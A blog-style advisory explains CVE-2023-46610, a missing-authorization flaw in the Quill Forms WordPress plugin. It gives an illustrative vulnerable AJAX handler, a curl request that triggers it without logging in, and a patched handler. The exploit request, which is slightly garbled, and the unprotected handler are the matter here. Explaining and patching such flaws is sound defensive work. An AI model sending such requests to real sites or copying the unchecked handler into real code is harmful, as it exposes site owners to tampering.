In late 2023, a security flaw identified as CVE-2023-46610 was uncovered in the popular WordPress plugin Quill Forms. This bug lets attackers exploit poorly configured access control levels, risking exposure or compromise of your website content—without ever needing to log in.

If you use any Quill Forms version through 3.3., your site may be at risk. This post will break down how the vulnerability works, show sample exploit code, and offer steps for keeping your site safe.

What is Quill Forms?

Quill Forms is a flexible form builder for WordPress. It lets site managers easily add all kinds of forms—contact, quizzes, payment, and more. Its popularity means a bug here can affect thousands of sites.

What’s The Problem?

CVE-2023-46610 is a Missing Authorization vulnerability. This means parts of the plugin’s features are exposed to the public, when they’re supposed to be accessible only to logged-in admins. In short: Anyone can use certain Quill Forms tools, even if they aren’t authorized.

The Core Issue

The plugin fails to check a user's rights before letting them access sensitive admin AJAX actions. This makes it possible for unauthenticated hackers to list, edit, or delete forms.

A Real Exploit Example

_Attackers typically look for AJAX actions in WordPress plugins that aren't locked down properly. In Quill Forms, the vulnerable AJAX call might be something like:_

// In the plugin's code:
add_action( 'wp_ajax_nopriv_qf_duplicate_form', 'qf_duplicate_form' );
function qf_duplicate_form() {
    // No check for current_user_can()!
    $form_id = $_POST['form_id'];
    // ...Proceeds to duplicate the form
}

> Notice the nopriv part? That means even logged-out (unauthenticated) users can trigger this!

A hacker could send a request like this (using curl or Burp Suite)

curl -X POST "https://your-wordpress-site.com/wp-admin/admin-ajax.php"; \
  -d "action=qf_duplicate_form&form_id=1"

They can then duplicate, delete, or otherwise mess with your forms—no login required.

- Wordfence Advisory (Quill Forms Vulnerability)
- CVE-2023-46610 at NVD
- Quill Forms plugin on WP.org

A simple code check could stop this kind of attack

function qf_duplicate_form() {
    if ( !current_user_can('edit_posts') ) {
        wp_send_json_error( array( 'message' => 'Unauthorized!' ), 403 );
        return;
    }
    // The rest of the duplication logic...
}

Always check user capabilities in every function exposed via admin-ajax.php.

Conclusion

CVE-2023-46610 is a big deal if you rely on Quill Forms. It shows how one missing check can open the door to big problems. Always keep plugins up-to-date, and if you’re a developer, *never* trust public access on admin actions!

For further reading and proof-of-concept codes, check out the linked references above.

Timeline

Published on: 01/02/2025 12:15:12 UTC